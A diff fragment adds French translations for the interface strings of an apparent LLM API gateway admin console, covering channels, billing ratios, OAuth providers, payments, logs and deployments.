+    "Change language": "Changer de langue",
+    "Change Password": "Changer le mot de passe",
+    "Change To": "Changer en",
+    "Changing...": "Modification en cours...",
+    "Channel": "Canal",
+    "Channel Affinity": "Affinité de canal",
+    "Channel affinity reuses the last successful channel based on keys extracted from the request context or JSON body.": "L'affinité de canal réutilise le dernier canal ayant réussi, en se basant sur les clés extraites du contexte de la requête ou du corps JSON.",
+    "Channel Affinity: Upstream Cache Hit": "Affinité de canal : hit de cache en amont",
+    "Channel copied successfully": "Canal copié avec succès",
+    "Channel created successfully": "Canal créé avec succès",
+    "Channel deleted successfully": "Canal supprimé avec succès",
+    "Channel disabled successfully": "Canal désactivé avec succès",
+    "Channel enabled successfully": "Canal activé avec succès",
+    "Channel Extra Settings": "Paramètres supplémentaires du canal",
+    "Channel ID": "ID du Canal",
+    "Channel key unlocked": "Clé de canal déverrouillée",
+    "Channel models": "Modèles de canaux",
+    "Channel name is required": "Le nom du canal est requis",
+    "Channel test completed": "Test du canal terminé",
+    "Channel type is required": "Le type de canal est requis",
+    "Channel updated successfully": "Canal mis à jour avec succès",
+    "Channel-specific settings (JSON format)": "Paramètres spécifiques aux canaux (format JSON)",
+    "Channel:": "Canal :",
+    "channel(s)? This action cannot be undone.": "canal(aux) ? Cette action ne peut pas être annulée.",
+    "Channels": "Canaux",
+    "Channels deleted successfully": "Canaux supprimés avec succès",
+    "Chart Settings": "Paramètres du graphique",
+    "Chat": "Discuter",
+    "Chat area": "Zone de chat",
+    "Chat Area": "Zone de chat",
+    "Chat Client Name": "Nom du client de chat",
+    "Chat client name is required": "Le nom du client de chat est requis",
+    "Chat configuration JSON": "Configuration du chat JSON",
+    "Chat preset not found": "Préréglage de chat introuvable",
+    "Chat Presets": "Préréglages de chat",
+    "Chat session management": "Gestion des sessions de chat",
+    "ChatCompletions -> Responses Compatibility": "Compatibilité ChatCompletions -> Réponses",
+    "Check for updates": "Vérifier les mises à jour",
+    "Check in daily to receive random quota rewards": "Connectez-vous quotidiennement pour recevoir des récompenses de quota aléatoires",
+    "Check in now": "Se connecter maintenant",
+    "Check resolved IPs against IP filters even when accessing by domain": "Vérifier les adresses IP résolues par rapport aux filtres IP même lors de l'accès par domaine",
+    "Check-in failed": "Échec de la connexion",
+    "Check-in Settings": "Paramètres de connexion",
+    "Check-in successful! Received": "Connexion réussie ! Reçu",
+    "Checked in": "Vérifié",
+    "Checking connection": "Vérification de la connexion",
+    "Checking name...": "Vérification du nom...",
+    "Checking updates...": "Vérification des mises à jour...",
+    "checkout.session.completed": "checkout.session.completed",
+    "checkout.session.expired": "checkout.session.expired",
+    "Chinese": "Chinois",
+    "Choose a username": "Choisir un nom d'utilisateur",
+    "Choose an amount and payment method": "Choisir un montant et un mode de paiement",
+    "Choose between default expanded, compact icon-only, or full layout mode": "Choisissez entre le mode d'affichage étendu par défaut, compact (icône uniquement) ou complet",
+    "Choose between inset, floating, or standard sidebar layout": "Choisissez entre la disposition de la barre latérale intégrée, flottante ou standard",
+    "Choose between left-to-right or right-to-left site direction": "Choisissez entre la direction du site de gauche à droite ou de droite à gauche",
+    "Choose between system preference, light mode, or dark mode": "Choisissez entre la préférence système, le mode clair ou le mode sombre",
+    "Choose channels to sync upstream ratio configurations from": "Choisissez les canaux à partir desquels synchroniser les configurations de ratio amont",
+    "Choose Group": "Choisir un groupe",
+    "Choose how quota values are shown to users": "Choisissez comment les valeurs de quota sont affichées aux utilisateurs",
+    "Choose how the platform will operate": "Choisissez le mode de fonctionnement de la plateforme",
+    "Choose how to filter domains": "Choisissez comment filtrer les domaines",
+    "Choose how to filter IP addresses": "Choisissez comment filtrer les adresses IP",
+    "Choose the bundle type and define the items inside it.": "Choisissez le type de bundle et définissez les éléments qu'il contient.",
+    "Choose where to fetch upstream metadata.": "Choisissez où récupérer les métadonnées amont.",
+    "Classic (Legacy Frontend)": "Classique (Ancien frontend)",
+    "Claude": "Claude",
+    "Clean history logs": "Nettoyer les journaux d'historique",
+    "Clean logs": "Nettoyer les logs",
+    "Clean up inactive cache": "Nettoyer le cache inactif",
+    "Clean Up Log Files": "Nettoyer les fichiers journaux",
+    "Cleaned up {{count}} log files, freed {{size}}": "{{count}} fichiers journaux nettoyés, {{size}} libérés",
+    "Cleaning...": "Nettoyage en cours...",
+    "Cleanup failed": "Échec du nettoyage",
+    "Cleanup Mode": "Mode de nettoyage",
+    "Clear": "Effacer",
+    "Clear all": "Tout effacer",
+    "Clear All": "Tout effacer",
+    "Clear All Cache": "Vider tout le cache",
+    "Clear all filters": "Effacer tous les filtres",
+    "Clear cache for this rule": "Vider le cache de cette règle",
+    "Clear filters": "Effacer les filtres",
+    "Clear Mapping": "Effacer le mappage",
+    "Clear mode flags in prompts": "Effacer les indicateurs de mode dans les prompts",
+    "Clear search": "Effacer la recherche",
+    "Clear selection": "Effacer la sélection",
+    "Clear selection (Escape)": "Effacer la sélection (Échap)",
+    "Cleared": "Vidé",
+    "Cleared all models": "Tous les modèles effacés",
+    "Click \"Create Plan\" to create your first subscription plan": "Cliquez sur « Créer un plan » pour créer votre premier abonnement",
+    "Click \"Generate\" to create a token": "Cliquez sur \"Générer\" pour créer un jeton",
+    "Click for details": "Cliquez pour les détails",
+    "Click save when you're done.": "Cliquez sur Enregistrer lorsque vous avez terminé.",
+    "Click save when you&apos;re done.": "Cliquez sur Enregistrer lorsque vous avez terminé.",
+    "Click the button below to bind your Telegram account": "Cliquez sur le bouton ci-dessous pour lier votre compte Telegram",
+    "Click to open deployment": "Cliquez pour ouvrir le déploiement",
+    "Click to preview audio": "Cliquer pour prévisualiser l'audio",
+    "Click to preview video": "Cliquer pour prévisualiser la vidéo",
+    "Click to update balance": "Cliquez pour mettre à jour le solde",
+    "Click to view Codex usage": "Cliquer pour voir l'utilisation Codex",
+    "Click to view full details": "Cliquez pour voir les détails complets",
+    "Click to view full error message": "Cliquez pour voir le message d'erreur complet",
+    "Click to view full prompt": "Cliquez pour voir l'invite complète",
+    "Client ID": "ID client",
+    "Client Secret": "Secret client",
+    "Close": "Fermer",
+    "Close dialog": "Fermer la boîte de dialogue",
+    "Close menu": "Fermer le menu",
+    "Close Today": "Fermer aujourd'hui",
+    "Cloudflare": "Cloudflare",
+    "CNY": "CNY",
+    "CNY per USD": "CNY par USD",
+    "Code": "Code",
+    "Codes copied!": "Codes copiés !",
+    "Codex": "Codex",
+    "Codex Account & Usage": "Compte et utilisation Codex",
+    "Codex Authorization": "Autorisation Codex",
+    "Codex channels use an OAuth JSON credential as the key.": "Les canaux Codex utilisent un identifiant OAuth JSON comme clé.",
+    "Cohere": "Cohere",
+    "Collapse": "Réduire",
+    "Color": "Couleur",
+    "Color is required": "La couleur est requise",
+    "Color:": "Couleur :",
+    "Coming Soon!": "Bientôt disponible !",
+    "Comma-separated list of allowed ports (empty = all ports)": "Liste des ports autorisés séparés par des virgules (vide = tous les ports)",
+    "Comma-separated model names (leave empty to keep current)": "Noms de modèles séparés par des virgules (laissez vide pour conserver l'actuel)",
+    "Comma-separated model names, e.g., gpt-4,gpt-3.5-turbo": "Noms de modèles séparés par des virgules, p. ex., gpt-4,gpt-3.5-turbo",
+    "Command": "Commande",
+    "Common": "Commun",
+    "Common Keys": "Clés courantes",
+    "Common Logs": "Journaux courants",
+    "Common ports include 25, 465, and 587": "Les ports courants incluent 25, 465 et 587",
+    "Common User": "Utilisateur commun",
+    "Complete API documentation with multi-language SDK support": "Documentation API complète avec support SDK multilingue",
+    "Complete Order": "Compléter la commande",
+    "Complete these steps to finish the initial installation.": "Suivez ces étapes pour terminer l'installation initiale.",
+    "Completed": "Terminé",
+    "Completion": "Achèvement",
+    "Completion price ($/1M tokens)": "Prix de la complétion (USD/1M jetons)",
+    "Completion ratio": "Ratio de complétion",
+    "Concatenate channel system prompt with user&apos;s prompt": "Concaténer l'invite système du canal avec l'invite de l'utilisateur",
+    "Conditional multipliers": "Multiplicateurs conditionnels",
+    "Conditions (AND)": "Conditions (ET)",
+    "Confidence": "Confiance",
+    "Configuration": "Configuration",
+    "Configuration File": "Fichier de configuration",
+    "Configuration for Creem payment integration": "Configuration pour l'intégration de paiement Creem",
+    "Configuration for Epay payment integration": "Configuration pour l'intégration de paiement Epay",
+    "Configuration for Stripe payment integration": "Configuration pour l'intégration de paiement Stripe",
+    "Configuration required": "Configuration requise",
+    "Configure": "Configurer",
+    "Configure a Creem product for user recharge options.": "Configurez un produit Creem pour les options de recharge utilisateur.",
+    "Configure a custom ratio for when users use a specific token group.": "Configurer un ratio personnalisé lorsque les utilisateurs utilisent un groupe de jetons spécifique.",
+    "Configure a group that users can select when creating API keys.": "Configurer un groupe que les utilisateurs peuvent sélectionner lors de la création de clés API.",
+    "Configure a new custom OAuth provider for user authentication.": "Configurer un nouveau fournisseur OAuth personnalisé pour l'authentification des utilisateurs.",
+    "Configure a payment method for user recharge options.": "Configurer un mode de paiement pour les options de recharge utilisateur.",
+    "Configure a predefined chat link for end users.": "Configurer un lien de chat prédéfini pour les utilisateurs finaux.",
+    "Configure and deploy a new container instance.": "Configurer et déployer une nouvelle instance de conteneur.",
+    "Configure API documentation links for the dashboard": "Configurer les liens de documentation API pour le tableau de bord",
+    "Configure at:": "Configurer à :",
+    "Configure available payment methods. Provide a JSON array.": "Configurer les méthodes de paiement disponibles. Fournir un tableau JSON.",
+    "Configure basic system information and branding": "Configurer les informations système de base et l'image de marque",
+    "Configure channel affinity (sticky routing) rules": "Configurer les règles d'affinité de canal (routage persistant)",
+    "Configure Creem products. Provide a JSON array.": "Configurez les produits Creem. Fournissez un tableau JSON.",
+    "Configure custom OAuth providers for user authentication": "Configurer des fournisseurs OAuth personnalisés pour l'authentification des utilisateurs",
+    "Configure daily check-in rewards for users": "Configurer les récompenses de connexion quotidienne pour les utilisateurs",
+    "Configure discount rates based on recharge amounts": "Configurer les taux de réduction basés sur les montants de recharge",
+    "Configure experimental data export for the dashboard": "Configurer l'exportation de données expérimentales pour le tableau de bord",
+    "Configure Gemini safety behavior, version overrides, and thinking adapter": "Configurer le comportement de sécurité Gemini, les remplacements de version et l'adaptateur de réflexion",
+    "Configure in your Creem dashboard": "Configurez dans votre tableau de bord Creem",
+    "Configure io.net API key for model deployments": "Configurer la clé API io.net pour les déploiements de modèles",
+    "Configure keyword filtering for prompts and responses.": "Configurer le filtrage par mots-clés pour les invites et les réponses.",
+    "Configure model, caching, and group ratios used for billing": "Configurer les ratios de modèle, de mise en cache et de groupe utilisés pour la facturation",
+    "Configure monitoring status page groups for the dashboard": "Configurer les groupes de pages d'état de surveillance pour le tableau de bord",
+    "Configure outgoing email server for notifications": "Configurer le serveur de messagerie sortant pour les notifications",
+    "Configure Passkey (WebAuthn) login settings": "Configurer les paramètres de connexion Passkey (WebAuthn)",
+    "Configure password-based login and registration": "Configurer la connexion et l'inscription basées sur un mot de passe",
+    "Configure per-model ratio for image inputs or outputs.": "Configurer le ratio par modèle pour les entrées ou sorties d'images.",
+    "Configure per-tool unit prices ($/1K calls). Per-request models do not incur additional tool fees.": "Définissez le prix unitaire de chaque outil ($/1K appels). Les modèles facturés à la requête n'entraînent pas de frais d'outils supplémentaires.",
+    "Configure predefined chat links surfaced to end users.": "Configurer les liens de discussion prédéfinis affichés aux utilisateurs finaux.",
+    "Configure pricing model and display options": "Configurer le modèle de tarification et les options d'affichage",
+    "Configure pricing ratios for a specific model.": "Configurer les ratios de tarification pour un modèle spécifique.",
+    "Configure rate limiting rules for a specific user group.": "Configurer les règles de limitation de débit pour un groupe d'utilisateurs spécifique.",
+    "Configure recharge pricing and payment gateway integrations": "Configurer la tarification des recharges et les intégrations de passerelles de paiement",
+    "Configure system-wide behavior and defaults": "Configurer le comportement et les valeurs par défaut à l'échelle du système",
+    "Configure the ratio for this group.": "Configurer le ratio pour ce groupe.",
+    "Configure third-party authentication providers": "Configurer les fournisseurs d'authentification tiers",
+    "Configure upstream providers and routing.": "Configurer les fournisseurs en amont et le routage.",
+    "Configure upstream worker or proxy service for outbound requests": "Configurer le service de travailleur en amont ou de proxy pour les requêtes sortantes",
+    "Configure user quota allocation and rewards": "Configurer l'allocation de quotas utilisateur et les récompenses",
+    "Configure Waffo Pancake hosted checkout integration for USD-priced top-ups": "Configurer l'intégration du parcours de paiement hébergé Waffo Pancake pour les rechargements en USD",
+    "Configure Waffo payment aggregation platform integration": "Configurer l'intégration de la plateforme d'agrégation de paiement Waffo",
+    "Configure xAI Grok model settings": "Configurer les paramètres du modèle xAI Grok",
+    "Configure xAI Grok model specific settings": "Configurer les paramètres spécifiques du modèle xAI Grok",
+    "Configure your account behavior preferences": "Configurer les préférences de comportement de votre compte",
+    "Configure your account preferences and integrations": "Configurer les préférences et les intégrations de votre compte",
+    "Confirm": "Confirmer",
+    "Confirm Action": "Confirmer l'action",
+    "Confirm Batch Update": "Confirmer la mise à jour par lot",
+    "Confirm Billing Conflicts": "Confirmer les conflits de facturation",
+    "Confirm Changes": "Confirmer les modifications",
+    "Confirm Cleanup": "Confirmer le nettoyage",
+    "Confirm cleanup of inactive disk cache?": "Confirmer le nettoyage du cache disque inactif ?",
+    "Confirm clearing all channel affinity cache": "Confirmer la suppression de tout le cache d'affinité de canal",
+    "Confirm clearing cache for this rule": "Confirmer la suppression du cache de cette règle",
+    "Confirm Creem Purchase": "Confirmer l'achat Creem",
+    "Confirm delete": "Confirmer la suppression",
+    "Confirm disable": "Confirmer la désactivation",
+    "Confirm enable": "Confirmer l'activation",
+    "Confirm invalidate": "Confirmer l'invalidation",
+    "Confirm log cleanup": "Confirmer le nettoyage des journaux",
+    "Confirm log file cleanup?": "Confirmer le nettoyage des fichiers journaux ?",
+    "Confirm New Password": "Confirmer le nouveau mot de passe",
+    "Confirm password": "Confirmer le mot de passe",
+    "Confirm Payment": "Confirmer le paiement",
+    "Confirm Selection": "Confirmer la sélection",
+    "Confirm settings and finish setup": "Confirmez les paramètres et terminez la configuration",
+    "Confirm Unbind": "Confirmer la dissociation",
+    "Confirm your identity before removing this Passkey from your account.": "Confirmez votre identité avant de supprimer cette Passkey de votre compte.",
+    "Confirm your identity with Two-factor Authentication before registering a Passkey.": "Confirmez votre identité avec l’authentification à deux facteurs avant d’enregistrer une Passkey.",
+    "Conflict": "Conflit",
+    "Connect": "Connecter",
+    "Connected to io.net service normally.": "Connexion au service io.net réussie.",
+    "Connection error": "Erreur de connexion",
+    "Connection failed": "Connexion échouée",
+    "Connection successful": "Connexion réussie",
+    "Console": "Console",
+    "Console area": "Zone de console",
+    "Console Area": "Zone console",
+    "Consume": "Consommation",
+    "Container": "Conteneur",
+    "Container name": "Nom du conteneur",
+    "Containers": "Conteneurs",
+    "Contains": "Contient",
+    "Contains Match": "Correspondance contient",
+    "Content": "Contenu",
+    "Content displayed on the home page (supports Markdown)": "Contenu affiché sur la page d'accueil (prend en charge Markdown)",
+    "Content not found.": "Contenu non trouvé.",
+    "Content not modified!": "Contenu non modifié !",
+    "Continue": "Continuer",
+    "Continue with {{name}}": "Continuer avec {{name}}",
+    "Continue with Discord": "Continuer avec Discord",
+    "Continue with GitHub": "Continuer avec GitHub",
+    "Continue with LinuxDO": "Continuer avec LinuxDO",
+    "Continue with OIDC": "Continuer avec OIDC",
+    "Continue with Telegram": "Continuer avec Telegram",
+    "Continue with WeChat": "Continuer avec WeChat",
+    "Control log retention and clean historical data.": "Contrôler la rétention des journaux et nettoyer les données historiques.",
+    "Control passthrough behavior and connection keep-alive settings": "Contrôler le comportement de passthrough et les paramètres de maintien de connexion",
+    "Control request frequency to prevent abuse and manage system load.": "Contrôler la fréquence des requêtes pour prévenir les abus et gérer la charge système.",
+    "Control which sidebar areas and modules are available to all users.": "Contrôler les zones et modules de la barre latérale disponibles pour tous les utilisateurs.",
+    "Controls whether user verification (biometrics/PIN) is required during Passkey flows.": "Contrôle si la vérification de l'utilisateur (biométrie/PIN) est requise lors des flux de Passkey.",
+    "Conversion rate from USD to your custom currency": "Taux de conversion de l'USD vers votre devise personnalisée",
+    "Convert reasoning_content to <think> tag in content": "Convertir reasoning_content en balise <think> dans content",
+    "Copied": "Copié",
+    "Copied {{count}} key(s)": "{{count}} clé(s) copiée(s)",
+    "Copied to clipboard": "Copié dans le presse-papiers",
+    "Copied: {{model}}": "Copié : {{model}}",
+    "Copied!": "Copié !",
+    "Copy": "Copier",
+    "Copy All": "Tout copier",
+    "Copy all backup codes": "Copier tous les codes de sauvegarde",
+    "Copy All Codes": "Copier tous les codes",
+    "Copy API key": "Copier la clé API",
+    "Copy authorization link": "Copier le lien d'autorisation",
+    "Copy Channel": "Copier le canal",
+    "Copy code": "Copier le code",
+    "Copy Connection Info": "Copier les infos de connexion",
+    "Copy failed": "Copie échouée",
+    "Copy Header": "Copier l'en-tête",
+    "Copy Key": "Copier la clé",
+    "Copy Link": "Copier le lien",
+    "Copy model name": "Copier le nom du modèle",
+    "Copy model names": "Copier les noms des modèles",
+    "Copy prompt": "Copier le prompt",
+    "Copy redemption code": "Copier le code de rachat",
+    "Copy referral link": "Copier le lien de parrainage",
+    "Copy secret key": "Copier la clé secrète",
+    "Copy selected codes": "Copier les codes sélectionnés",
+    "Copy selected keys": "Copier les clés sélectionnées",
+    "Copy the key and paste it here": "Copiez la clé et collez-la ici",
+    "Copy this prompt and send it to an LLM (e.g. ChatGPT / Claude) to help design your billing expression.": "Copiez ce prompt et envoyez-le à un LLM (ex. ChatGPT / Claude) pour vous aider à concevoir votre expression de facturation.",
+    "Copy to clipboard": "Copier dans le presse-papiers",
+    "Copy token": "Copier le Jeton",
+    "Copy URL": "Copier l'URL",
+    "Core Features": "Fonctionnalités principales",
+    "Cost": "Coût",
+    "Cost in USD per request, regardless of tokens used.": "Coût en USD par requête, quel que soit le nombre de jetons utilisés.",
+    "Cost Tracking": "Suivi des coûts",
+    "Count must be between {{min}} and {{max}}": "Le nombre doit être compris entre {{min}} et {{max}}",
+    "Coze": "Coze",
+    "CPU Threshold (%)": "Seuil CPU (%)",
+    "Create": "Créer",
+    "Create a copy of:": "Créer une copie de :",
+    "Create a new user group to configure ratio overrides for.": "Créer un nouveau groupe d'utilisateurs pour configurer les remplacements de ratio.",
+    "Create account": "Créer un compte",
+    "Create an account": "Créer un compte",
+    "Create and review invite or credit codes.": "Créer et examiner les codes d'invitation ou de crédit.",
+    "Create API Key": "Créer une clé API",
+    "Create cache": "Créer le cache",
+    "Create cache ratio": "Créer un ratio de cache",
+    "Create Channel": "Créer un canal",
+    "Create Code": "Créer un code",
+    "Create credentials for the root user": "Créer les identifiants pour le compte administrateur",
+    "Create deployment": "Créer un déploiement",
+    "Create Model": "Créer un modèle",
+    "Create multiple API keys at once (random suffix will be added to names)": "Créer plusieurs clés API en une fois (un suffixe aléatoire sera ajouté aux noms)",
+    "Create multiple channels from multiple keys": "Créer plusieurs canaux à partir de plusieurs clés",
+    "Create multiple redemption codes at once (1-100)": "Créer plusieurs codes de rachat à la fois (1-100)",
+    "Create new subscription plan": "Créer un nouveau plan d'abonnement",
+    "Create or update frequently asked questions for users": "Créer ou mettre à jour les questions fréquemment posées aux utilisateurs",
+    "Create or update system announcements for the dashboard": "Créer ou mettre à jour les annonces système pour le tableau de bord",
+    "Create Plan": "Créer un plan",
+    "Create Prefill Group": "Créer un groupe de préremplissage",
+    "Create Provider": "Créer un fournisseur",
+    "Create Redemption Code": "Créer un code d'échange",
+    "Create reusable bundles of models, tags, endpoints, and user groups to speed up configuration elsewhere in the console.": "Créez des ensembles réutilisables de modèles, de balises, de points de terminaison et de groupes d'utilisateurs pour accélérer la configuration ailleurs dans la console.",
+    "Create succeeded": "Création réussie",
+    "Create Vendor": "Créer un fournisseur",
+    "Create your first group to reuse model, tag, or endpoint selections anywhere in the dashboard.": "Créez votre premier groupe pour réutiliser les sélections de modèles, de balises ou de points de terminaison n'importe où dans le tableau de bord.",
+    "Create, revoke, and audit API tokens.": "Créer, révoquer et auditer les jetons API.",
+    "Created": "Créé",
+    "Created At": "Créé le",
+    "Credential generated": "Identifiant généré",
+    "Credential refreshed": "Identifiant actualisé",
+    "Credentials": "Identifiants",
+    "Creem API key (leave blank unless updating)": "Clé API Creem (laissez vide sauf si mise à jour)",
+    "Creem Gateway": "Passerelle Creem",
+    "Creem Payment": "Paiement Creem",
+    "Creem product ID from your Creem dashboard.": "ID du produit Creem depuis votre tableau de bord Creem.",
+    "Creem products must be a JSON array": "Les produits Creem doivent être un tableau JSON",
+    "Cross-group": "Inter-groupes",
+    "Cross-group retry": "Nouvelle tentative inter-groupes",
+    "Curate quick links to your different Domains": "Organiser des liens rapides vers vos différents domaines",
+    "Currency": "Devise",
+    "Current Balance": "Solde actuel",
+    "Current Billing": "Facturation actuelle",
+    "Current Cache Size": "Taille actuelle du cache",
+    "Current email: {{email}}. Enter a new email to change.": "E-mail actuel : {{email}}. Saisissez un nouvel e-mail pour le modifier.",
+    "Current key": "Clé actuelle",
+    "Current models for the longest channel in this tag. May not include all models from all channels.": "Modèles actuels pour le canal le plus long de cette balise. Peut ne pas inclure tous les modèles de tous les canaux.",
+    "Current Password": "Mot de passe actuel",
+    "Current Price": "Prix actuel",
+    "Current quota": "Quota actuel",
+    "Current Value": "Valeur actuelle",
+    "Current version": "Version actuelle",
+    "Current:": "Actuel :",
+    "Custom": "Personnalisé",
+    "Custom (seconds)": "Personnalisé (secondes)",
+    "Custom Amount": "Montant personnalisé",
+    "Custom API base URL. For official channels, New API has built-in addresses. Only fill this for third-party proxy sites or special endpoints. Do not add /v1 or trailing slash.": "URL de base API personnalisée. Pour les canaux officiels, New API dispose d'adresses intégrées. Ne remplissez ceci que pour les sites proxy tiers ou les points de terminaison spéciaux. N'ajoutez pas /v1 ou de barre oblique finale.",
+    "Custom API base URL. Leave empty to use provider default.": "URL de base API personnalisée. Laissez vide pour utiliser la valeur par défaut du fournisseur.",
+    "Custom Currency": "Devise personnalisée",
+    "Custom Currency Symbol": "Symbole de devise personnalisé",
+    "Custom currency symbol is required": "Le symbole de devise personnalisé est requis",
+    "Custom database driver detected.": "Pilote de base de données personnalisé détecté.",
+    "Custom Home Page": "Page d'accueil personnalisée",
+    "Custom message shown when access is denied": "Message personnalisé affiché lorsque l'accès est refusé",
+    "Custom model (comma-separated)": "Modèle personnalisé (séparé par des virgules)",
+    "Custom module": "Module personnalisé",
+    "Custom multipliers when specific user groups use specific token groups. Example: VIP users get 0.9x rate when using \"edit_this\" group tokens.": "Multiplicateurs personnalisés lorsque des groupes d'utilisateurs spécifiques utilisent des groupes de jetons spécifiques. Exemple : les utilisateurs VIP obtiennent un taux de 0,9x lorsqu'ils utilisent les jetons du groupe \"edit_this\".",
+    "Custom OAuth": "OAuth personnalisé",
+    "Custom OAuth Providers": "Fournisseurs OAuth personnalisés",
+    "Custom Seconds": "Secondes personnalisées",
+    "Custom sidebar section": "Section de barre latérale personnalisée",
+    "Custom Time Range": "Plage horaire personnalisée",
+    "Custom Zoom": "Zoom personnalisé",
+    "Customize sidebar display content": "Personnaliser le contenu affiché dans la barre latérale",
+    "Daily": "Quotidien",
+    "Daily Check-in": "Connexion quotidienne",
+    "Dark": "Sombre",
+    "Dashboard": "Tableau de bord",
+    "Dashboards, tokens, and usage analytics.": "Tableaux de bord, jetons et analyses d'utilisation.",
+    "Data Dashboard": "Tableau de bord des données",
+    "Data directory:": "Répertoire des données :",
+    "Data is stored locally on this device. Use system backups to keep a safe copy.": "Les données sont stockées localement sur cet appareil. Utilisez les sauvegardes système pour conserver une copie sécurisée.",
+    "Data management and log viewing": "Gestion des données et consultation des journaux",
+    "Database": "Base de données",
+    "Database check": "Vérification de la base de données",
+    "Date and time when this announcement should be displayed": "Date et heure auxquelles cette annonce doit être affichée",
+    "Date Range": "Plage de dates",
+    "Day": "Jour",
+    "days": "jours",
+    "Days to Retain": "Jours à conserver",
+    "Deducted by subscription": "Déduit par abonnement",
+    "DeepSeek": "DeepSeek",
+    "default": "par défaut",
+    "Default": "Par défaut",
+    "Default (New Frontend)": "Par défaut (Nouveau frontend)",
+    "Default API Version *": "Version API par défaut *",
+    "Default API version for this channel": "Version API par défaut pour ce canal",
+    "Default Collapse Sidebar": "Réduire la barre latérale par défaut",
+    "Default Max Tokens": "Jetons max par défaut",
+    "Default Responses API version, if empty, will use the API version above": "Version API des réponses par défaut, si vide, utilisera la version API ci-dessus",
+    "Default system prompt for this channel": "Invite système par défaut pour ce canal",
+    "Default time granularity": "Granularité temporelle par défaut",
+    "Default to auto groups": "Par défaut aux groupes automatiques",
+    "Default TTL (seconds)": "TTL par défaut (secondes)",
+    "Defaults to the wallet page when empty": "Si vide, la page portefeuille est utilisée par défaut",
+    "Define API endpoints for this model (JSON format)": "Définir les points de terminaison API pour ce modèle (format JSON)",
+    "Define endpoint mappings for each provider.": "Définissez les mappages d'endpoints pour chaque fournisseur.",
+    "Define per-group rules to add, remove, or append selectable groups for specific user groups.": "Définir des règles par groupe pour ajouter, supprimer ou ajouter des groupes sélectionnables pour des groupes d'utilisateurs spécifiques.",
+    "Delete": "Supprimer",
+    "Delete (": "Supprimer (",
+    "Delete {{count}} API key(s)?": "Supprimer {{count}} clé(s) API ?",
+    "Delete Account": "Supprimer le compte",
+    "Delete All Disabled": "Supprimer tout ce qui est désactivé",
+    "Delete All Disabled Channels?": "Supprimer tous les canaux désactivés ?",
+    "Delete Auto-Disabled": "Supprimer les désactivés automatiquement",
+    "Delete Channel": "Supprimer le canal",
+    "Delete Channels?": "Supprimer les canaux ?",
+    "Delete failed": "Échec de la suppression",
+    "Delete group": "Supprimer le groupe",
+    "Delete Header": "Supprimer l'en-tête",
+    "Delete Invalid": "Supprimer les invalides",
+    "Delete invalid codes": "Supprimer les codes invalides",
+    "Delete invalid codes (used/disabled/expired)": "Supprimer les codes invalides (utilisés/désactivés/expirés)",
+    "Delete invalid redemption codes": "Supprimer les codes de rachat invalides",
+    "Delete Invalid Redemption Codes?": "Supprimer les codes de rachat invalides ?",
+    "Delete logs": "Supprimer les journaux",
+    "Delete Model": "Supprimer le modèle",
+    "Delete Models?": "Supprimer les modèles ?",
+    "Delete Provider": "Supprimer le fournisseur",
+    "Delete selected API keys": "Supprimer les clés API sélectionnées",
+    "Delete selected channels": "Supprimer les canaux sélectionnés",
+    "Delete selected models": "Supprimer les modèles sélectionnés",
+    "Deleted": "Supprimé",
+    "Deleted successfully": "Supprimé avec succès",
+    "Deleting will permanently remove this subscription record (including benefit details). Continue?": "La suppression supprimera définitivement cet enregistrement d'abonnement (y compris les détails des avantages). Continuer ?",
+    "Deleting...": "Suppression...",
+    "Demo site": "Site de démonstration",
+    "Demo site mode": "Mode site de démonstration",
+    "Demo Site Mode": "Mode Site de démonstration",
+    "Demote": "Rétrograder",
+    "Deployment created successfully": "Déploiement créé avec succès",
+    "Deployment details": "Détails du déploiement",
+    "Deployment ID": "ID du déploiement",
+    "Deployment location": "Emplacement du déploiement",
+    "Deployment logs": "Journaux de déploiement",
+    "Deployment Region *": "Région de déploiement *",
+    "Deployment requested": "Déploiement demandé",
+    "Deployments": "Déploiements",
+    "Desc": "Description",
+    "Describe": "Décrire",
+    "Describe this model...": "Décrire ce modèle...",
+    "Describe this vendor...": "Décrire ce fournisseur...",
+    "Description": "Description",
+    "Description is required": "La description est requise",
+    "Designed and Developed by": "Conçu et développé par",
+    "designed for scale": "conçu pour la scalabilité",
+    "Destroyed": "Détruit",
+    "Detailed request logs for investigations.": "Journaux détaillés des requêtes pour les enquêtes.",
+    "Details": "Détails",
+    "Detect All Upstream Updates": "Détecter toutes les mises à jour upstream",
+    "Detected database": "Base de données détectée",
+    "Detected high-risk status code redirect rules": "Les règles de redirection de codes d'état à haut risque suivantes ont été détectées :",
+    "Detection complete: {{add}} to add, {{remove}} to remove": "Détection terminée : {{add}} à ajouter, {{remove}} à supprimer",
+    "Detection failed": "Échec de la détection",
+    "Determines how this group is applied elsewhere.": "Détermine comment ce groupe est appliqué ailleurs.",
+    "Developer Friendly": "Convivial pour les développeurs",
+    "Device Type Preference": "Préférence de type d'appareil",
+    "Dify": "Dify",
+    "Dify channels only support chatflow and agent, and agent does not support images": "Les canaux Dify ne prennent en charge que les chatflow et les agents, et les agents ne prennent pas en charge les images",
+    "Digest:": "Digest :",
+    "Direction": "Direction",
+    "Directory File Count": "Nombre de fichiers du répertoire",
+    "Directory Total Size": "Taille totale du répertoire",
+    "Disable": "Désactiver",
+    "Disable 2FA": "Désactiver la 2FA",
+    "Disable All": "Désactiver tout",
+    "Disable on failure": "Désactiver en cas d'échec",
+    "Disable selected channels": "Désactiver les canaux sélectionnés",
+    "Disable selected models": "Désactiver les modèles sélectionnés",
+    "Disable store passthrough": "Désactiver la transmission du champ store",
+    "Disable thinking processing models": "Désactiver les modèles de traitement de la pensée",
+    "Disable this key?": "Désactiver cette clé ?",
+    "Disable threshold (seconds)": "Seuil de désactivation (secondes)",
+    "Disable Two-Factor Authentication": "Désactiver l'authentification à deux facteurs",
+    "disabled": "désactivé",
+    "Disabled": "Désactivé",
+    "Disabled all channels with tag: {{tag}}": "Tous les canaux avec le tag {{tag}} ont été désactivés",
+    "Disabled Reason": "Raison de la désactivation",
+    "Disabled Time": "Heure de désactivation",
+    "Disabling...": "Désactivation en cours...",
+    "Discord": "Discord",
+    "Discount": "Remise",
+    "Discount map by recharge amount (JSON object)": "Mappage des réductions par montant de recharge (objet JSON)",
+    "Discount Rate": "Taux de réduction",
+    "Discount rate must be ≤ 1": "Le taux de remise doit être ≤ 1",
+    "Discount rate must be greater than 0": "Le taux de remise doit être supérieur à 0",
+    "Discount Rate:": "Taux de réduction :",
+    "Discount ratio for cache hits.": "Ratio de réduction pour les accès au cache.",
+    "Discouraged": "Déconseillé",
+    "Discovering...": "Découverte en cours...",
+    "Disk cache cleared": "Cache disque vidé",
